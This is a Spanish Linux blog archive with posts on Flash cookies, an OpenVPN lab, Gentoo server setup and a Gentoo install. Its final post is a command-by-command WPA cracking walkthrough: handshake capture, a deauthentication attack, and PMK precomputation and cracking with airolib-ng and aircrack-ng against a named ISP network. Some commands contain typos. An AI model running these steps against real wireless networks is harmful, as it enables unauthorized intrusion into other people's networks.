Páginas

viernes, 11 de marzo de 2011

Cookies Flash

Fuente: Carla Schroder de Planet Linux
URL: http://www.linuxplanet.com/linuxplanet/tips/6706/1/

¿Qué son las cookies de Flash y ¿Por qué debería importarme?
Las cookies de Flash tienen más información que las cookies de HTTP - cookies HTTP son cerca de cuatro kilobits, mientras que las cookies de Flash con capacidad para 100kb. Usted puede encontrarlas en su sistema Linux almacenadas en ~ / .macromedia/Flash_Player/directorio. Hay dos directorios llenos de cookies aquí, enterrado hacia abajo en rutas macromedia.com y SharedObject #. Las cookies tienen extensiones .sol, y son archivos binarios, no se puede leer como "cookies de HTTP de texto sin formato. (Usted puede abrir archivos binarios en cualquiera de los muchos buenos editores hexadecimales Linux, como hexedit, sólo por diversión. Debería haber un poco de texto mezclado con el material hexedecimal.)
Las cookies de Flash son los desagradables secretos de utilizar el reproductor de Flash en cualquier plataforma. Se trata de algo así como la ordinaria cookies HTTP que infestan los sitios Web en nuestros sistemas. Algunas cookies HTTP tienen fines útiles, como almacenar el contenido de los carros de compras e información de otra sesión que es realmente útil para nosotros los usuarios humildes. Pero la mayoría de las cookies HTTP son cookies de rastreo, siguen nuestros viajes alrededor de la web, recopilan datos sin nuestro consentimiento y con fines que no nos benefician. Los vendedores no tienen vergüenza a la hora de nuevas y más formas innovadoras para espiar y realizar un seguimiento de nuestros movimientos, y reunir datos de identificación de diversos sitios.

Según Wikipedia, las cookies de Flash pueden ser leídos sólo por sus sitios de origen, y no se comparten a través de dominios. Y, sin embargo se les llama "objetos locales compartidos." Las cookies HTTP son comúnmente abusivas ​​por compartir a través de dominios a través de servidores de anuncios de terceros y de acuerdo con los Web bugs, y así es como se construyen perfiles detallados de los visitantes del sitio. Si introduce datos personales en un sitio, es posible que los datos sean compartidos con otros sitios, y luego saben quién eres. Todos estamos familiarizados con la vieja y cansada "Oh, no recopilamos datos personales a propósito, e incluso cuando es accidental que no lo veo. Todo agregados y anónimos! No, en serio!" bushwah. Uh huh. Abre tus servidores y vamos a ver, porque "la confianza, pero verificar" es lo que la gente sabia hace.
Hay muchas buenas herramientas de software libre administrador de cookies, y modernos navegadores Web incluyen administradores de la galleta, pero hasta donde yo sé ninguno de estos son conscientes de las cookies de Flash. Adobe tiene un administrador de cookies de Flash (primera figura). Así es, es en el sitio Web de Adobe. Ese es el gerente real que lee las cookies en su computadora. Adobe afirma que "Adobe no tiene acceso a la configuración que ve en el Administrador de configuración o información personal en su ordenador." Sí lo que sea, mantengo mi escepticismo en "always on".

Hay varias fichas que muestran varias opciones interesantes, como "Haga clic en preguntar siempre a exigir cualquier sitio web pedir permiso si quiere acceder a su cámara y/o un micrófono." ¿No es especial! No podía encontrar cual es el valor por defecto, aunque, naturalmente, siempre sospecho lo peor.

El nombre correcto de las cookies de Flash es Local Shared Objects, o LSO, pero vamos a llamarle de todas formas "las cookies de Flash". Hay dos maneras de gestionarlas:

1.- la forma de Adobe, basicamente boton derecho y clickando en la entrada global settings encima de un objeto flash.
2.- La forma Linux.

Tal vez usted no desea las malditas cookies en su sistema. Como de costumbre, Linux te permite controlar tu propia maquina y le permite  evitar que las cookies de Flash aniden en el sistema. Hay varias  maneras de hacer esto. las cookies de Flash residen en dos directorios, ~ /.macromedia/Flash_Player/SharedObjects#/ y ~ /.macromedia/Flash_Player/macromedia.com/. Si quieres ver a estos en un administrador de archivos gráfico, asegúrese de que tiene "ver archivos ocultos" activado. Elimine todos los archivos en estos directorios, acto seguido, cambie los permisos a modo de 0500, que es de sólo lectura y ejecución:

$ chmod -Rv 0500 .macromedia/
...

 mode of `.macromedia/Flash_Player/#SharedObjects/' retained as 0500 (r-x------)mode of `.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/' retained as 0500 (r-x------)

chmod significa "cambio de lectura-escritura-el modo de ejecución",-R significa recursivo, y v es detallado para que pueda ver lo que está sucediendo. Usted necesita este conjunto para que pueda entrar en los directorios y asegurarse que no se han escrito nuevas cookies. (Sí, es necesario establecer el bit de ejecución para que pueda entrar en ellos). Pero los directorios no son modificables por lo que nuevas cookies no se pueden agregar.

Si desea asegurarse, realice la comprobación:

gentoo@hypatia ~ $ ls -lR .macromedia/
.macromedia/:
total 4
dr-x------ 4 gentoo users 4096 Aug 26  2010 Flash_Player
.macromedia/Flash_Player:
total 8
dr-x------ 3 gentoo users 4096 Mar 11 13:49 macromedia.com
dr-x------ 2 gentoo users 4096 Mar 11 13:46 #SharedObjects
.macromedia/Flash_Player/macromedia.com:
total 4
dr-x------ 3 gentoo users 4096 Mar 11 13:49 support
.macromedia/Flash_Player/macromedia.com/support:
total 4
dr-x------ 3 gentoo users 4096 Mar 11 13:49 flashplayer
.macromedia/Flash_Player/macromedia.com/support/flashplayer:
total 4
dr-x------ 2 gentoo users 4096 Mar 11 13:49 sys
.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys:
total 0
.macromedia/Flash_Player/#SharedObjects:
total 0

Alternativamente, es posible deshacerse manualmente de las carpetas contenedoras de la información sin cambiar los permisos a los directorios involucrados:
$ rm -rf ~/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys
$ rm -rf ~/.macromedia/Flash_Player/#SharedObjects/SFP2X82Y

Linux es genial!.

martes, 8 de marzo de 2011

OpenVPN

Configurar un escenario de pruebas openvpn seguro

Quiere crear un entorno controlado y seguro para probar openvpn?. Vamos a contruir un pequeño laboratorio de pruebas con tres ordenadores. Uno sera el ordenador remoto, el segundo el servidor y router OpenVpn, y el tercero la LAN. El ordenador que actue como servidor y router OpenVpn necesitara dos interfaces de Ethernet. De manera que sera posible probar las reglas de configuracion y cortafuegos de OpenVpn de un modo realista. Utilice cables de Ethernet y un conmutador.

Primero instale OpenVPN en el ordenador remoto y la maquina que hara de servidor OpenVpn. Todos los ordenadores ejecutan Linux, (trataremos otros clientes más adelante). En la mayoria de distribuciones Linux OpenVpn esta incluida, de manera que está a un emerge openvpn o apt-get install openvpn (gentoo y debian respectivamente).

La configuración de rutas puede resultar un poco confusa, sobre todo si tiene que dibujar diagramas de red para configuraciones sencillas (como me pasa a mi), así que tómeselo con tranquilidad y siga estos pasos. Más adelante puede cambiar direcciones y rutas.


El ordenador remoto y el servidor conéctelos directamente con un clave cruzado. Llamaré "tux" al servidor OpenVpn, "stinkpad" al cliente remoto y "server1" escenificará al resto de la LAN.

tux y stinkpad es necesario que estén en subredes diferentes. Nuestro direccionamiento de red será:

stinkpad
    eth0
    address 192.168.2.100
    netmask 255.255.255.0
    broadcast 192.168.2.255
    network 192.168.2.0

tux   
    eth0 - LAN
    address 192.168.1.10
    netmask 255.255.255.0
    broadcast 192.168.1.255
    network    192.168.1.0
   
    eth1 - INTERNET
    address 192.168.3.10
    netmask    255.255.255.0
    broadcast 192.168.3.255
    network    192.168.3.0
   
server1
    eth0
    address 192.168.1.76
    netmask    255.255.255.0
    broadcast 192.168.1.255
    network 192.168.1.0
    gateway por defecto 192.168.1.10

No hace falta cambiar las configuraciones de red actuales, serán utilizados temporalmente para las pruebas. No necesita tocar ningun fichero de configuración. Establecer las IP:

root@stinkpad # ifonfig eth0 192.168.2.100 netmask 255.255.255.0 up
root@tux # ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up
root@tux # ifconfig eth1 192.168.3.10 netmask 255.255.255.0 up
root@server1 # ifconfig eth0 192.168.1.76 netmask 255.255.255.0 up

Crear las rutas estáticas y activar el reenvio en tux, para permitir el flujo de los bits:

root@stinkpad # route del default
root@stinkpad # route add -net 192.168.1.0/24 gw 192.168.3.10 eth0
root@stinkpad # route add -net 192.168.2.0/24 gw 192.168.2.100 eth0
root@stinkpad # route add -net 192.168.3.0/24 192.168.2.100 eth0
root@tux # route del default
root@tux # echo 1 > /proc/sys/net/ipv4/ip_forward
root@tux # route add -net 192.168.2.0/24 gw 192.168.3.10 eth1

El comando route le permite ver sus rutas:

root@stinkpad # route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.3.0     stinkpad.local  255.255.255.0   UG    0      0        0 eth0
192.168.2.0     *               255.255.255.0   U     0      0        0 eth0
192.168.1.0     192.168.3.10    255.255.255.0   UG    0      0        0 eth0

Cometer errores es normal, con este comando puede eliminar las rutas:
# route del -net 192.168.2.0/24

root@tux # route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.3.0     *               255.255.255.0   U     0      0        0 eth1
192.168.2.0     tux.local       255.255.255.0   UG    0      0        0 eth1
192.168.1.0     *               255.255.255.0   U     0      0        0 eth0

configuracion server1:
root@server1 # route del default

root@server1 # route add -net 192.168.2.0/24 gw 192.168.1.10 eth0
root@server1 # route add -net 192.168.3.0/24 gw 192.168.1.10 eth0

root@server1 # route
Tabla de rutas IP del núcleo
Destino         Pasarela        Genmask         Indic Métric Ref    Uso Interfaz
192.168.3.0     tux.local       255.255.255.0   UG    0      0        0 eth0
192.168.2.0     tux.local       255.255.255.0   UG    0      0        0 eth0
192.168.1.0     *               255.255.255.0   U     0      0        0 eth0

Prbar la conectividad entre server1 y stinkpad:
root@server1 # ping -c3 192.168.2.100
PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.
64 bytes from 192.168.2.100: icmp_seq=1 ttl=63 time=0.535 ms
64 bytes from 192.168.2.100: icmp_seq=2 ttl=63 time=0.523 ms
64 bytes from 192.168.2.100: icmp_seq=3 ttl=63 time=0.553 ms

--- 192.168.2.100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.523/0.537/0.553/0.012 ms

root@stinkpad # ping -c 3 192.168.1.76
PING 192.168.1.76 (192.168.1.76) 56(84) bytes of data.
64 bytes from 192.168.1.76: icmp_seq=1 ttl=63 time=0.469 ms
64 bytes from 192.168.1.76: icmp_seq=2 ttl=63 time=0.434 ms
64 bytes from 192.168.1.76: icmp_seq=3 ttl=63 time=0.511 ms

--- 192.168.1.76 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.434/0.471/0.511/0.036 ms

Ha configurado dos pasarelas por defecto y no sabe como eliminar una de ellas?, utilice este comando:
# route del default gw 192.168.1.10

Este diseño imita Internet. stinkpad solo necesita estar encaminado hacia tux, el enrutamiento en la LAN detrás de tux pasara a ser controlado por el servidor OpenVPN. Si añade más ordenadores no olvide ponerlos en la misma LAN que server1 (192.168.1.0/24) y convertir la IP de la LAN (192.168.1.76) en su pasarela por defecto.

Para las pruebas no es necesario tener pasarela (gateway) por defecto, contrariamente en las maquinas de produccion deberia tenerlas. "Stinkpad" (pc remoto), debe conectarse directamente con el router "tux". Dominios de emision diferentes necesitan enrutamiento entre si o un puente.

Siguiente --> Iniciar y probar OpenVPN:
to be continued...

Referencias:
Administracion de sistemas Linux. Tom Adelstein Bill Lubanovic
Redes en Linux. Carla Schroder

Linux es genial!.

lunes, 28 de febrero de 2011

Server Gentoo

Instalamos un servidor utilizando una distribucion Debian, Gentoo, etc. (Basicamente es lo mismo), y openssh. El nombre de usuario que utilizo es gentoo y le asigno un passwd.

Cuando finalice la instalacion, debería acceder al sistema desde la consola remota de su escritorio. La recomendacion es realizar las labores de administracion desde otro sistema (por ejemplo, un portatil), porque un servidor seguro se ejecuta en modo headless, es decir, ejecutar aplicaciones sin monitor y teclado. Es una buena costumbre administrar su servidor de esta manera. En la maquina remota solo necesita un cliente SSH, incluido en todas las distros Linux.

Iniciar el server SSH en el servidor
# /etc/init.d/sshd start
 * Starting sshd ...                 [ ok ]

Agregarlo al inicio del sistema:
# rc-update add sshd default
 * sshd added to runlevel default

La maquina que hara de servidor se llama tux.
La que hara de cliente se llama hypatia.

Conectar con el servidor a traves de SSH por primera vez:
gentoo@hypatia ~ $ ssh gentoo@tux.zapto.org
The authenticity of host 'tux.zapto.org (192.168.1.130)' can't be established.
RSA key fingerprint is 22:17:b0:c8:c0:0d:d7:ca:ad:1a:0f:8e:9c:5d:11:f5.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'tux.zapto.org,192.168.1.130' (RSA) to the list of known hosts.
Password:
Last login: Mon Feb 28 14:49:41 CET 2011 from hypatia.zapto.org on pts/1
gentoo@tux ~ $

Autenticarse como root:
gentoo@tux ~ $ su
passwd:

Configurar el servidor con una direccion IP estatica:
# vim /etc/conf.d/net
# ip estatica gw 192.168.1.1
config_eth0=( "192.168.1.130/24" )
routes_eth0=( "default via 192.168.1.1" )

Los DNS del proveedor ISP:
# vim /etc/resolv.conf
# /etc/resolv.conf.head can replace this line
nameserver 87.216.1.65
nameserver 87.216.1.66

Para impedir la modificacion del archivo /etc/resolv.conf
# chattr +i /etc/resolv.conf
# lsattr /etc/resolv.conf
----i---------- /etc/resolv.conf

Reiniciar la interfaz de red:
 # /etc/init.d/net.eth0 restart
 * Stopping eth0
 *   Bringing down eth0
 *     Stopping netplug on eth0 ...   [ ok ]
 *     Shutting down eth0 ...         [ ok ]
 * Starting eth0
 *   Starting netplug on eth0 ...     [ ok ]
 *     Backgrounding ...

Editar /etc/hosts para agregar la direccion IP:
# IPv4 and IPv6 localhost aliases
127.0.0.1       localhost
::1             localhost
127.0.0.1       google-analytics.com
127.0.0.1       ssl.google-analytics.com
# 192.168.1.128   server1.zapto.org server1
192.168.1.129   hypatia.zapto.org hypatia
192.168.1.130   tux.zapto.org tux

El nombre de host se configura con estos comandos:
# echo tux > /etc/hostname
# /bin/hostname -F /etc/hostname

Configurar el nombre de dominio:
# vim /etc/conf.d/net
# ip estatica gw 192.168.1.1
config_eth0=( "192.168.1.130/24" )
routes_eth0=( "default via 192.168.1.1" )
# nombre de dominio
dns_domain_lo="zapto.org"

Ahora comprobar que la configuracion es correcta:
# hostname
tux
# hostname -f
tux.zapto.org

Para restringuir el acceso SSH a hosts LAN, añadimos esta regla al firewall del servidor:
# firewall /usr/local/bin/fw_host
ipt="/sbin/iptables"
LAN_IFACE="eth0"
#
...
$ipt -A INPUT -i $LAN_IFACE -s 192.168.1.0/24 -p tcp --dport 22 --sport 1024:65535 -m state --state NEW -j ACCEPT
...
...

El archivo /etc/hosts de la maquina cliente (hypatia) estan identificados, tambien, los hosts de la red:
127.0.0.1    localhost
::1        localhost
127.0.0.1    google-analytics.com
127.0.0.1    ssl.google-analytics.com
# 192.168.1.128    server1.zapto.org server1
192.168.1.129    hypatia.zapto.org hypatia
192.168.1.130    tux.zapto.org tux   
#

Configurar ip estatica en la maquina cliente (hypatia) y el nombre de dominio:
hypatia gentoo # vim /etc/conf.d/net
# ip estatica gw 192.168.1.1
config_eth0=( "192.168.1.129/24" )
routes_eth0=( "default via 192.168.1.1" )
# nombre de dominio
dns_domain_lo="zapto.org"

Linux es genial!.

jueves, 3 de febrero de 2011

Gentoo Pentium 4 3.2GHz

Instalar Gentoo en una maquina Pentium 4 (EMT64)

Instalar Gentoo en un ordenador portatil o sobremesa es una tarea al alcance de todos con la documentacion existente en el sitio web de Gentoo Linux. Pero ademas es necesario saber el stage3 y version del kernel que mejor se adapta a nuestra maquina.

# lspci | grep -i vga
01:00.0 VGA compatible controller: ATI Technologies Inc RV516 [Radeon X1300/X1550 Series]

# lsusb | grep -i wireless
Bus 001 Device 002: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter

Es un Pentium 4 con un precesador a 3.2 GHz y 1Gb de memoria DDR a 800 Mhz. Placa base Asus, tarjeta grafica Ati Technologies Inc RV516 [Radeon X1300/X1550 Series], tarjeta inalambrica con chipset Realtek 8187

Esta instalacion fue realizada utilizando Gentoo minimal cd 3.09 siguiendo, como no, el exelente proyecto manual de Gentoo (handbook).

Stage: stage3-amd64-20101226.tar.bz2
kernel: 2.6.32-gentoo-r24

Nota: no utilizo acentos.
Despues de iniciar con el cd Minimal de Gentoo compruebo el modulo de la tarjeta wireless (en mi caso, chipset rtl8187), con el comando:

# lsmod  | grep rtl8187
rtl8187                51330  0
mac80211              121005  3 rtl8187
cfg80211              120958  4 rtl8187, mac80211
led_class               2115  2 rtl8187,sdhci
eeprom_93cx6            1208  1 rtl8187
usbcore               113420  8 rtl8187,sl811_hcd,usbhid,ohci_hcd,uhci_hcd,usb_storage,ehci_hcd

Es una tarjeta inalambrica conectada a un puerto usb que me interesa por su potencia 2W. No me interesa utilizar la wifi conectada a la ranura pci con chipset ath5k, asi que descargo el modulo y lo coloco en blacklist para que no se cargue nuevamente al reiniciar el sistema
# modprobe -r ath5k
# echo "blacklist ath5k" >> /etc/modprobe.d/blacklist

Conocer los modulos del kernel proporcionados por gentoo para la red (wired y wireless respectivamente):
# ls /lib/modules/2.6.34-gentoo-r1/kernel/drivers/net/
3c59x.ko     defxx.ko      ixgbe        s2io.ko      sungem_phy.ko
8139cp.ko    dl2k.ko       mdio.ko      sb1000.ko    sunhme.ko
8139too.ko   dnet.ko       mlx4         sc92031.ko   tehuti.ko
.....
.....

# ls /lib/modules/2.6.34-gentoo-r1/kernel/drivers/net/wireless/
hostap/  rt2x00/  rtl818x/

Averiguar el nombre de la interfaz de red:
# ifconfig -a

eth0      Link encap:Ethernet  HWaddr 00:21:9b:e2:cd:44 
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:16

lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:168 errors:0 dropped:0 overruns:0 frame:0
          TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:5732 (5.5 KiB)  TX bytes:5732 (5.5 KiB)

wlan0     Link encap:Ethernet  HWaddr 00:1f:3c:bf:a0:3c 
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
Configurar conexión alámbrica eth0:
# ifconfig eth0 192.168.1.242 netmask 255.255.255.0
# route add default gw 192.168.1.1
# ping www.gentoo.org
PING www-bytemark.gentoo.org (89.16.167.134) 56(84) bytes of data.
64 bytes from www.gentoo.org (89.16.167.134): icmp_req=1 ttl=252 time=80.6 ms
64 bytes from www.gentoo.org (89.16.167.134): icmp_req=2 ttl=252 time=78.9 ms
64 bytes from www.gentoo.org (89.16.167.134): icmp_req=3 ttl=252 time=79.7 ms
^C
--- www-bytemark.gentoo.org ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3004ms
rtt min/avg/max/mdev = 78.902/79.779/80.655/0.786 ms
Para conectar a Internet utilizando una tarjeta inalámbrica Gentoo dispone de la herramienta incluida en el cd, perteneciente al paquete livecdtools, llamada net-setup
# net-setup wlan0
A traves de una sencilla interfaz grafica nos preguntara entre otras cosas el nombre del essid, contraseña de red y por ultimo si utiliza dhcp para obtener una ip automaticamente.

Comprobar la conexion haciendo ping:
# ping -c 3 www.gentoo.org

Todo esta documentado en:
http://www.gentoo.org/doc/es/handbook/
Gentoo linux es con toda probalidad la distribucion mejor documentada.

Particionar el disco con una herramienta como gparted (grafica) incluida en el systemrescuecd o con fdisk. En mi caso el disco duro queda particionado de la manera siguiente:

/dev/sda2 ext2 /boot (de 100 MB) particion de arranque
/dev/sda3 ext3 /     (de 20 GB)
/dev/ada5 swap       (de 1 GB)
/dev/sda6 ext3 /home (de 10 GB)
/dev/sda7 reiserfs /usr/portage (de 11 GB)

Inicializar y activar la particion swap:
# mkswap /dev/sda5
# swapon /dev/sda5

Ha llegado el momento de montar las particiones.
# mount /dev/sda3 /mnt/gentoo
# mkdir /mnt/gentoo/boot
# mount /dev/sda2 /mnt/gentoo/boot

De momento no utilizo las particiones /dev/sda6 (home) ni la particion /dev/sda7 (portage), mas adelante las separaremos del resto del sistema.

Ajustar fecha/hora correcta
# date
Si fuera necesario actualicela con el comando date:
# date mesdiahoraminutosaño por ejemplo, 4 de febrero del 2011 a las 14:31
# date 020414312011

Ir al punto de montaje de gentoo y descargar el stage3 stage3-amd64-20101226.tar.bz2 desde uno de los servidores de replica de gentoo linux, directorio releases/amd64/autobuilds. Para descargar el archivo presionar D. Para salir del navegador links presione Q:
# cd /mnt/gentoo
# links http://www.gentoo.org/main/en/mirrors.xml

Descomprimir el stage
# tar xjvpf stage3-amd64-20101226.tar.bz2

Descargar e instalar una imagen de portage
# links http://www.gentoo.org/main/en/mirros.xml

Descomprimir portage
# tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr

Configurar las opciones de compilacion editando el archivo /etc/make.conf para Pentium 4 con un precesador a 3.2 GHz y 1Gb de memoria DDR a 800 Mhz x86_64:

CFLAGS="-march=nocona -02 -pipe -fomit-frame-pointer"
CXXFLAGS="${CFLAGS}

Seleccionar los servidores replica con la herramienta mirrorselect proporcionada por gentoo:
# mirrorselect -i -o >> /mnt/gentoo/etc/make.conf

Configurar variable SYNC para actualizar portage.
# mirrorselect -i -o -r >> /mnt/gentoo/etc/make.conf

Instalar temporalmente vim dentro del stage3:
VIM=$(which vim)
VIMDIR=$(dirname ${VIM})
cp --dereference ${VIM} /mnt/gentoo${VIM}
ln --symbolic ${VIM} /mnt/gentoo$(dirname ${VIM})/vi

Copiar la informacion de los DNS en /etc/resolv.conf
# cp -L /etc/resolv.conf /mnt/gentoo/etc/

Los sistemas de archivos /proc y /dev seran montados con los comandos:
# mount -t proc none /proc /mnt/gentoo/proc
# mount -o bind /dev /mnt/gentoo/dev

Entrar en el nuevo entorno de instalacion chrooting:
# chroot /mnt/gentoo /bin/bash
# env-update
# source /etc/profile
# export PS1="(chroot) $PS1"

Actualizar portage
# emerge --sync

Para forzar la descarga e instalacion del kerel 2.6.32-gentoo-r24 hay que hacer algunos cambios en el fichero /etc/portage/package.mask, concretamente:

echo ">sys-kernel/gentoo-sources-2.6.36-r5" >> /etc/portage/package.mask
echo "=sys-kernel/gentoo-sources-2.6.36-r5" >> /etc/portage/package.mask
echo "=sys-kernel/gentoo-sources-2.6.35-r15" >> /etc/portage/package.mask

Comprobar que se descargara e instalara el kernel elegido:
# emerge -s gentoo-sources

# uname -a
Linux tux 2.6.32-gentoo-r24 #1 SMP Tue Feb 1 10:22:14 CET 2011 x86_64 Intel(R) Pentium(R) 4 CPU 3.20GHz GenuineIntel GNU/Linux

Antes que me olvide el tema de las fuentes en la consola, para visualizar correcatamente la ñ y los acentos en la terminal:
Cambiando la fuente de xterm

(en su directorio home)
# echo 'XTerm*font: fixed' >> .Xresources 


Configuración en Español o Inglés y UTF-8


Fuente: http://wiki.luispa.com/index.php/HowTo:gentoo:utf8

- Configuración del Kernel

Configuración del kernel de Linux: File Systems

File Systems
 Native language support
   (utf8) Default NLS Option       
   :
   -*-   NLS UTF-8 

    * Fichero locale.gen y generación de los locales

Fichero: /etc/locale.gen

 en_US ISO-8859-1
 en_US.UTF-8 UTF-8
 es_ES ISO-8859-1
 es_ES@euro ISO-8859-15
 es_ES.UTF-8 UTF-8
 # Soporte de Inglés y Español
 en_US.UTF-8@euro UTF-8
 es_ES.UTF-8@euro UTF-8

Genero los locales:

# locale-gen
* Generating 7 locales (this might take a while) with 1 jobs
*  (1/7) Generating en_US.ISO-8859-1 ...                                 [ ok ]
*  (2/7) Generating en_US.UTF-8 ...                                      [ ok ]
*  (3/7) Generating es_ES.ISO-8859-1 ...                                 [ ok ]
*  (4/7) Generating es_ES.ISO-8859-15@euro ...                           [ ok ]
*  (5/7) Generating es_ES.UTF-8 ...                                      [ ok ]
*  (6/7) Generating en_US.UTF-8.UTF-8@euro ...                           [ ok ]
*  (7/7) Generating es_ES.UTF-8.UTF-8@euro ...                           [ ok ]
* Generation complete

    * Zona horaria, en mi caso en la península

cp /usr/share/zoneinfo/Europe/Madrid /etc/localtime

    * Fichero rc.conf

Fichero: /etc/rc.conf

 UNICODE="yes"
 CONSOLEFONT="lat9v-16"

    * Fichero 02locale

Fichero: /etc/env.d/02locale para que el lenguaje de las aplicaciones sea ESPAÑOL

 LC_ALL="es_ES.UTF-8"
 LC_COLLATE="es_ES.UTF-8"
 LC_CTYPE="es_ES.UTF-8"
 LC_MESSAGES="es_ES.UTF-8"
 LC_MONETARY="es_ES.UTF-8"
 LC_NUMERIC="es_ES.UTF-8"
 LC_PAPER="es_ES.UTF-8"
 LANG="es_ES.UTF-8"

    * Fichero consolefont

Fichero: /etc/conf.d/consolefont

 CONSOLEFONT="lat9w-16"


    * Fichero keymaps

Fichero: /etc/conf.d/keymaps

 KEYMAP="-u es"
 SET_WINDOWKEYS="yes"
 EXTENDED_KEYMAPS="backspace euro2"
 DUMPKEYS_CHARSET=""

    * La zona horaria y el reloj

Fichero: /etc/conf.d/clock

 CLOCK="local"
 TIMEZONE="Europe/Madrid"
 CLOCK_OPTS=""
 CLOCK_SYSTOHC="yes"

    * El servidor rsync

Fichero: /etc/rsyncd.conf

# Soporte utf-8, en la parte global del fichero
:
charset = utf-8


continuara...
Linux es genial!.

lunes, 17 de enero de 2011

Wpa y airolib-ng

Claves Wpa y airolib-ng
Avanzado

Capturar el Handshake AP y canal especifico:
hypatia gentoo # airodump-ng --bssid macap -c 1 -w output mon0

Desautenticar
hypatia gentoo # aireplay-ng --deauth 10 -a macap -c maclient mon0

Aparece el nombre del essid oculto
Tendo el Handshake

wpa Handshake: xx:xx:xx:xx:xx:xx

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import passwd /media/wpa_tables/wpa_psk-h1kari_renderman/word.lst /media/wpa_tables/wpa_psk-h1kari_renderman/database
Database does not already exist, creating it...
Database sucessfully created
Reading file...
Writing...lines read, 190867551 invalid lines ignored.
Done.

Un archivo de texto llamado essid con el nombre del ssid:
hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import essid ./essid
Reading file...
Writing...
Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --stats
There are 1 ESSIDs and 4047221 passwords in the database. 0 out of 4047221 possible combinations have been computed (0%).

ESSID    Priority    Done
JAZZTEL_568B    64    0.0

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analysing index structure...
Vacuum-cleaning the database. This could take a while...
Checking database integrity...
integrity_check
ok

Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --batch
Computed 25000 PMK in 126 seconds (198 PMK/s, 225000 in buffer).
Computed 50000 PMK in 248 seconds (201 PMK/s, 200000 in buffer).
Computed 75000 PMK in 370 seconds (202 PMK/s, 175000 in buffer).
Computed 100000 PMK in 492 seconds (203 PMK/s, 150000 in buffer)
Computed 4047221 PMK in 20216 seconds (200 PMK/s, 0 in buffer).
All ESSID processed.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --verify all
Checking all PMKs. This could take a while...
ESSID    PASSWORD    PMK_DB    CORRECT

hypatia cowpatty-4.3 # aircrack-ng -r /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa output-01.cap

current passhare: .....

key fount [..........]

Linux es genial!.